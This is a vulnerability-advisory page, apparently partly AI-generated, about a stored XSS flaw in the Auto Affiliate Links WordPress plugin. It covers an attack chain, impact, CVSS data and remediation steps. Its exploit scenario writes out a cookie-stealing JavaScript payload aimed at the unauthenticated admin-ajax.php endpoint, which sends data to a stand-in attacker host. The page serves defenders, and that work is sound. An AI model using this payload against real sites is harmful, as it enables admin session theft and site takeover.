Skip to main content

Auto Affiliate Links EUVDEUVD-2026-28540

| CVE-2026-7330 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-08 Wordfence GHSA-v3rv-7vgj-hq3v
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send crafted POST to admin-ajax.php with malicious URL payload
  2. Delivery
    Bypass authentication via wp_ajax_nopriv_ hook and exposed nonce
  3. Exploit
    Store unsanitized JavaScript in database
  4. Execution
    Administrator views statistics dashboard
  5. Persist
    Execute stored XSS in admin context
  6. Impact
    Exfiltrate session tokens or create backdoor accounts

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Auto Affiliate Links plugin to be installed and active on the target WordPress site (versions 6.8.8 or earlier). The vulnerable AJAX endpoint is registered via wp_ajax_nopriv_aal_url_stats_save, making it accessible without WordPress authentication. The description explicitly states 'leveraging a publicly exposed nonce and an unauthenticated AJAX endpoint' - meaning the nonce validation mechanism that should protect against CSRF is bypassed or improperly implemented, allowing arbitrary attackers to submit URL statistics. For payload execution (not just storage), an administrator must visit the plugin's statistics page where aal_display_clicks() renders the stored URLs. Attack vector is network (AV:N), complexity is low (AC:L), and no privileges are required (PR:N) for initial payload injection. However, the 'no user interaction' (UI:N) in the CVSS vector applies to the storage phase; actual impact delivery requires implicit administrator interaction (viewing the statistics page), though this is a normal administrative workflow making exploitation highly probable after payload storage.

Impact

This vulnerability presents elevated real-world risk despite the 7.2 CVSS score. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates remote unauthenticated exploitation with low attack complexity and no user interaction required for initial payload storage. However, the Stored XSS nature means actual impact requires an administrator to view the statistics page (adding implicit UI:R for the impact phase). The scope change (S:C) correctly reflects that successful exploitation allows attackers to execute arbitrary JavaScript in an administrator's browser session, enabling actions like creating rogue admin accounts, installing malicious plugins, or stealing session tokens. The combination of unauthenticated access and publicly exposed nonce eliminates typical WordPress defense layers. No EPSS score is provided in the data, and no CISA KEV listing exists, suggesting exploitation is not yet widespread. However, Wordfence's public disclosure with detailed technical references including exact vulnerable code lines (L225, L278, L304) and a visible patch changeset significantly lowers the exploitation barrier. The attack is highly automatable once an attacker identifies sites running vulnerable versions. Priority should be HIGH for WordPress sites using this plugin, particularly those with valuable administrative access or sensitive data.

Exploit ScenarioDerived

An unauthenticated attacker crafts a malicious POST request to the WordPress AJAX endpoint (admin-ajax.php) with action=aal_url_stats_save and includes a JavaScript payload in the 'url' parameter, such as: url=javascript:fetch('https://attacker.com/steal?cookie='+document.cookie). The publicly exposed nonce validates the request, and the payload is stored in the WordPress database without sanitization. When a site administrator accesses the Auto Affiliate Links statistics dashboard to review click data, the aal_display_clicks() function renders the stored payload directly into an anchor tag's href attribute and display text. The browser executes the JavaScript, exfiltrating the administrator's session cookie to the attacker's server. The attacker uses the stolen session to log in as the administrator and installs a backdoor plugin for persistent access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Stored Cross-Site Scripting in Auto Affiliate Links for WordPress allows unauthenticated remote attackers to inject malicious JavaScript into administrator statistics pages through an unprotected AJAX endpoint. The vulnerability stems from missing input sanitization on the 'url' parameter in aal_url_stats_save_action() combined with direct output of stored values in aal_display_clicks() without escaping. Attackers can exploit a publicly exposed nonce and the wp_ajax_nopriv_ hook to store malicious payloads that execute when administrators view click statistics, potentially leading to session hijacking, privilege escalation, or site compromise. Wordfence reported this vulnerability affecting versions through 6.8.8, with a patch released in version 6.8.8.1.

RemediationAI

Immediately upgrade to Auto Affiliate Links version 6.8.8.1 or later, which implements proper input sanitization and output escaping as confirmed by the patch changeset at https://plugins.trac.wordpress.org/changeset/3519003/wp-auto-affiliate-links/trunk/aal_stats.php and version comparison at https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-auto-affiliate-links/tags/6.8.8&new_path=%2Fwp-auto-affiliate-links/tags/6.8.8.1. If immediate patching is not possible, implement these compensating controls: disable the plugin until patched (eliminates vulnerability but removes affiliate linking functionality), restrict wp-admin access via IP allowlisting at the web server level (reduces attacker ability to trigger payload execution but does not prevent storage), or implement Web Application Firewall rules to block POST requests to admin-ajax.php containing suspicious JavaScript patterns in the 'url' parameter (may cause false positives with legitimate URLs containing special characters). Note that simply restricting administrative access does not prevent payload injection since the AJAX endpoint is unauthenticated, but it reduces the attack surface for payload execution. Monitor WordPress admin activity logs for unexpected account creations or privilege changes that could indicate successful exploitation.

Affected VersionsENISA

Auto Affiliate Links 0 ≤6.8.8

Affected Packages

euvd auto_affiliate_links no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exists in the Auto Affiliate Links WordPress plugin (CPE: cpe:2.3:a:thedark:auto_affiliate_links), specifically in the statistics tracking functionality within aal_stats.php. The plugin registers an AJAX handler using wp_ajax_nopriv_, making the aal_url_stats_save_action() function accessible to unauthenticated requests. WordPress AJAX endpoints registered with wp_ajax_nopriv_ intentionally bypass authentication, typically requiring other security controls like nonce validation. However, the vulnerable code fails to apply WordPress security functions (esc_url(), esc_attr(), esc_html()) when storing and displaying URL data. The aal_display_clicks() function at line 304 directly echoes user-controlled data into href attributes and anchor text, creating a classic Stored XSS condition (CWE-79). The CVSS scope change (S:C) indicates the injected script executes in the administrator's session context, crossing the plugin's trust boundary into the WordPress core administrative interface. The publicly exposed nonce mentioned in the description represents a critical authentication bypass, as WordPress nonces are designed to prevent CSRF but become ineffective when publicly accessible.

Know when Auto Affiliate Links gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Auto Affiliate Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 6.8.8 This is due to insufficient input sanitization on the 'url' POST parameter in the aal_url_stats_save_action() function and a complete absence of output escaping in aal_display_clicks(), where the stored value is echoed directly into an anchor element's href attribute and inner text without esc_url(), esc_attr(), or esc_html(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts into the admin statistics page that execute in an administrator's browser when the page is visited, leveraging a publicly exposed nonce and an unauthenticated AJAX endpoint registered via the wp_ajax_nopriv_ hook.

Executive ViewAI

Why It Matters

The Auto Affiliate Links WordPress plugin (versions ≤6.8.8) contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious code into administrator dashboards via an unprotected endpoint. When site administrators view click statistics, the injected script executes with their privileges, creating risk of session compromise, credential theft, or full site takeover for any organization using this plugin.

Business Impact: High
Compensating Controls

Vendor-released patch: Auto Affiliate Links version 6.8.8.1. If immediate patching is not feasible: (1) Disable the Auto Affiliate Links plugin until patching is completed; (2) Restrict access to WordPress admin dashboard to specific IP ranges; (3) Implement Web Application Firewall rules to block unauthenticated POST requests to wp-admin/admin-ajax.php with aal_url_stats_save_action action; (4) Enforce multi-factor authentication for all WordPress administrator accounts.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy